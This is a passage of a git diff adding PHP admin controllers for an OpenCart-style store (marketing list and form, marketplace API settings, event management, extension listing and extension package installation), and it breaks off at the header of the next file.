+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.name' . $url, true);
+ $data['sort_code'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.code' . $url, true);
+ $data['sort_date_added'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $marketing_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($marketing_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($marketing_total - $this->config->get('config_limit_admin'))) ? $marketing_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $marketing_total, ceil($marketing_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_code'] = $filter_code;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/marketing_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['marketing_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['marketing_id'])) {
+ $data['action'] = $this->url->link('marketing/marketing/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $this->request->get['marketing_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['marketing_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $marketing_info = $this->model_marketing_marketing->getMarketing($this->request->get['marketing_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['store'] = HTTP_CATALOG;
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($marketing_info)) {
+ $data['name'] = $marketing_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($marketing_info)) {
+ $data['description'] = $marketing_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($marketing_info)) {
+ $data['code'] = $marketing_info['code'];
+ } else {
+ $data['code'] = uniqid();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/marketing_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketing/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $marketing_info = $this->model_marketing_marketing->getMarketingByCode($this->request->post['code']);
+
+ if (!isset($this->request->get['marketing_id'])) {
+ if ($marketing_info) {
+ $this->error['code'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($marketing_info && ($this->request->get['marketing_id'] != $marketing_info['marketing_id'])) {
+ $this->error['code'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'marketing/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/api.php b/public/admin/controller/marketplace/api.php
new file mode 100644
index 0000000..d479016
--- /dev/null
+++ b/public/admin/controller/marketplace/api.php
@@ -0,0 +1,39 @@
+load->language('marketplace/api');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->response->setOutput($this->load->view('marketplace/api', $data));
+ }
+
+ public function save() {
+ $this->load->language('marketplace/api');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/api')) {
+ $json['error']['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['opencart_username']) {
+ $json['error']['username'] = $this->language->get('error_username');
+ }
+
+ if (!$this->request->post['opencart_secret']) {
+ $json['error']['secret'] = $this->language->get('error_secret');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('opencart', $this->request->post);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/event.php b/public/admin/controller/marketplace/event.php
new file mode 100644
index 0000000..153fae0
--- /dev/null
+++ b/public/admin/controller/marketplace/event.php
@@ -0,0 +1,260 @@
+load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ $this->getList();
+ }
+
+ public function enable() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->get['event_id']) && $this->validate()) {
+ $this->model_setting_event->enableEvent($this->request->get['event_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->get['event_id']) && $this->validate()) {
+ $this->model_setting_event->disableEvent($this->request->get['event_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->post['selected']) && $this->validate()) {
+ foreach ($this->request->post['selected'] as $event_id) {
+ $this->model_setting_event->deleteEvent($event_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'code';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['delete'] = $this->url->link('marketplace/event/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['events'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $event_total = $this->model_setting_event->getTotalEvents();
+
+ $results = $this->model_setting_event->getEvents($filter_data);
+
+ foreach ($results as $result) {
+ $data['events'][] = array(
+ 'event_id' => $result['event_id'],
+ 'code' => $result['code'],
+ 'trigger' => $result['trigger'],
+ 'action' => $result['action'],
+ 'sort_order' => $result['sort_order'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'enable' => $this->url->link('marketplace/event/enable', 'user_token=' . $this->session->data['user_token'] . '&event_id=' . $result['event_id'] . $url, true),
+ 'disable' => $this->url->link('marketplace/event/disable', 'user_token=' . $this->session->data['user_token'] . '&event_id=' . $result['event_id'] . $url, true),
+ 'enabled' => $result['status']
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_code'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+ $data['sort_status'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $event_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($event_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($event_total - $this->config->get('config_limit_admin'))) ? $event_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $event_total, ceil($event_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/event', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'marketplace/event')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/extension.php b/public/admin/controller/marketplace/extension.php
new file mode 100644
index 0000000..046fd10
--- /dev/null
+++ b/public/admin/controller/marketplace/extension.php
@@ -0,0 +1,57 @@
+load->language('marketplace/extension');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['type'])) {
+ $data['type'] = $this->request->get['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ $data['categories'] = array();
+
+ $files = glob(DIR_APPLICATION . 'controller/extension/extension/*.php', GLOB_BRACE);
+
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/extension/' . $extension, 'extension');
+
+ if ($this->user->hasPermission('access', 'extension/extension/' . $extension)) {
+ $files = glob(DIR_APPLICATION . 'controller/extension/' . $extension . '/*.php', GLOB_BRACE);
+
+ $data['categories'][] = array(
+ 'code' => $extension,
+ 'text' => $this->language->get('extension')->get('heading_title') . ' (' . count($files) .')',
+ 'href' => $this->url->link('extension/extension/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/extension', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/install.php b/public/admin/controller/marketplace/install.php
new file mode 100644
index 0000000..0161d63
--- /dev/null
+++ b/public/admin/controller/marketplace/install.php
@@ -0,0 +1,520 @@
+load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure the file name is stored in the session.
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_file');
+ } elseif (!is_file(DIR_UPLOAD . $this->session->data['install'] . '.tmp')) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_unzip');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/unzip', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function unzip() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_file');
+ } elseif (!is_file(DIR_UPLOAD . $this->session->data['install'] . '.tmp')) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ // Sanitize the filename
+ if (!$json) {
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ // Unzip the files
+ $zip = new ZipArchive();
+
+ if ($zip->open($file)) {
+ $zip->extractTo(DIR_UPLOAD . 'tmp-' . $this->session->data['install']);
+ $zip->close();
+ } else {
+ $json['error'] = $this->language->get('error_unzip');
+ }
+
+ // Remove Zip
+ unlink($file);
+
+ $json['text'] = $this->language->get('text_move');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/move', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function move() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ } elseif (!is_dir(DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $directory = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/';
+
+ if (is_dir($directory . 'upload/')) {
+ $files = array();
+
+ // Get a list of files ready to upload
+ $path = array($directory . 'upload/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ // A list of allowed directories to be written to
+ $allowed = array(
+ 'admin/controller/extension/',
+ 'admin/language/',
+ 'admin/model/extension/',
+ 'admin/view/image/',
+ 'admin/view/javascript/',
+ 'admin/view/stylesheet/',
+ 'admin/view/template/extension/',
+ 'catalog/controller/extension/',
+ 'catalog/language/',
+ 'catalog/model/extension/',
+ 'store/view/javascript/',
+ 'store/view/theme/',
+ 'system/config/',
+ 'system/library/',
+ 'image/catalog/'
+ );
+
+ // First we need to do some checks
+ foreach ($files as $file) {
+ $destination = str_replace('\\', '/', substr($file, strlen($directory . 'upload/')));
+
+ $safe = false;
+
+ foreach ($allowed as $value) {
+ if (strlen($destination) < strlen($value) && substr($value, 0, strlen($destination)) == $destination) {
+ $safe = true;
+
+ break;
+ }
+
+ if (strlen($destination) > strlen($value) && substr($destination, 0, strlen($value)) == $value) {
+ $safe = true;
+
+ break;
+ }
+ }
+
+ if ($safe) {
+ // Check if the copy location exists or not
+ if (substr($destination, 0, 5) == 'admin') {
+ $destination = DIR_APPLICATION . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 7) == 'catalog') {
+ $destination = DIR_CATALOG . substr($destination, 8);
+ }
+
+ if (substr($destination, 0, 5) == 'image') {
+ $destination = DIR_IMAGE . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 6) == 'system') {
+ $destination = DIR_SYSTEM . substr($destination, 7);
+ }
+ } else {
+ $json['error'] = sprintf($this->language->get('error_allowed'), $destination);
+
+ break;
+ }
+ }
+
+ if (!$json) {
+ $this->load->model('setting/extension');
+
+ foreach ($files as $file) {
+ $destination = str_replace('\\', '/', substr($file, strlen($directory . 'upload/')));
+
+ $path = '';
+
+ if (substr($destination, 0, 5) == 'admin') {
+ $path = DIR_APPLICATION . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 7) == 'catalog') {
+ $path = DIR_CATALOG . substr($destination, 8);
+ }
+
+ if (substr($destination, 0, 5) == 'image') {
+ $path = DIR_IMAGE . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 6) == 'system') {
+ $path = DIR_SYSTEM . substr($destination, 7);
+ }
+
+ if (is_dir($file) && !is_dir($path)) {
+ if (mkdir($path, 0777)) {
+ $this->model_setting_extension->addExtensionPath($extension_install_id, $destination);
+ }
+ }
+
+ if (is_file($file)) {
+ if (rename($file, $path)) {
+ $this->model_setting_extension->addExtensionPath($extension_install_id, $destination);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_xml');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/xml', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function xml() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ } elseif (!is_dir(DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $file = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/install.xml';
+
+ if (is_file($file)) {
+ $this->load->model('setting/modification');
+
+ // If xml file just put it straight into the DB
+ $xml = file_get_contents($file);
+
+ if ($xml) {
+ try {
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($xml);
+
+ $name = $dom->getElementsByTagName('name')->item(0);
+
+ if ($name) {
+ $name = $name->nodeValue;
+ } else {
+ $name = '';
+ }
+
+ $code = $dom->getElementsByTagName('code')->item(0);
+
+ if ($code) {
+ $code = $code->nodeValue;
+
+ // Check to see if the modification is already installed or not.
+ $modification_info = $this->model_setting_modification->getModificationByCode($code);
+
+ if ($modification_info) {
+ $this->model_setting_modification->deleteModification($modification_info['modification_id']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_code');
+ }
+
+ $author = $dom->getElementsByTagName('author')->item(0);
+
+ if ($author) {
+ $author = $author->nodeValue;
+ } else {
+ $author = '';
+ }
+
+ $version = $dom->getElementsByTagName('version')->item(0);
+
+ if ($version) {
+ $version = $version->nodeValue;
+ } else {
+ $version = '';
+ }
+
+ $link = $dom->getElementsByTagName('link')->item(0);
+
+ if ($link) {
+ $link = $link->nodeValue;
+ } else {
+ $link = '';
+ }
+
+ if (!$json) {
+
+
+ $modification_data = array(
+ 'extension_install_id' => $extension_install_id,
+ 'name' => $name,
+ 'code' => $code,
+ 'author' => $author,
+ 'version' => $version,
+ 'link' => $link,
+ 'xml' => $xml,
+ 'status' => 1
+ );
+
+ $this->model_setting_modification->addModification($modification_data);
+ }
+ } catch(Exception $exception) {
+ $json['error'] = sprintf($this->language->get('error_exception'), $exception->getCode(), $exception->getMessage(), $exception->getFile(), $exception->getLine());
+ }
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_remove');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/remove', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function remove() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $directory = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/';
+
+ if (is_dir($directory)) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ rmdir($directory);
+ }
+ }
+
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ if (is_file($file)) {
+ unlink($file);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function uninstall() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/extension');
+
+ $results = $this->model_setting_extension->getExtensionPathsByExtensionInstallId($extension_install_id);
+
+ rsort($results);
+
+ foreach ($results as $result) {
+ $source = '';
+
+ // Check if the copy location exists or not
+ if (substr($result['path'], 0, 5) == 'admin') {
+ $source = DIR_APPLICATION . substr($result['path'], 6);
+ }
+
+ if (substr($result['path'], 0, 7) == 'catalog') {
+ $source = DIR_CATALOG . substr($result['path'], 8);
+ }
+
+ if (substr($result['path'], 0, 5) == 'image') {
+ $source = DIR_IMAGE . substr($result['path'], 6);
+ }
+
+ if (substr($result['path'], 0, 14) == 'system/library') {
+ $source = DIR_SYSTEM . 'library/' . substr($result['path'], 15);
+ }
+
+ if (is_file($source)) {
+ unlink($source);
+ }
+
+ if (is_dir($source)) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($source);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (is_file($source)) {
+ unlink($source);
+ }
+
+ if (is_dir($source)) {
+ rmdir($source);
+ }
+ }
+
+ $this->model_setting_extension->deleteExtensionPath($result['extension_path_id']);
+ }
+
+ // Remove the install
+ $this->model_setting_extension->deleteExtensionInstall($extension_install_id);
+
+ // Remove any xml modifications
+ $this->load->model('setting/modification');
+
+ $this->model_setting_modification->deleteModificationsByExtensionInstallId($extension_install_id);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/marketplace/installer.php b/public/admin/controller/marketplace/installer.php
new file mode 100644
index 0000000..33971fa
--- /dev/null
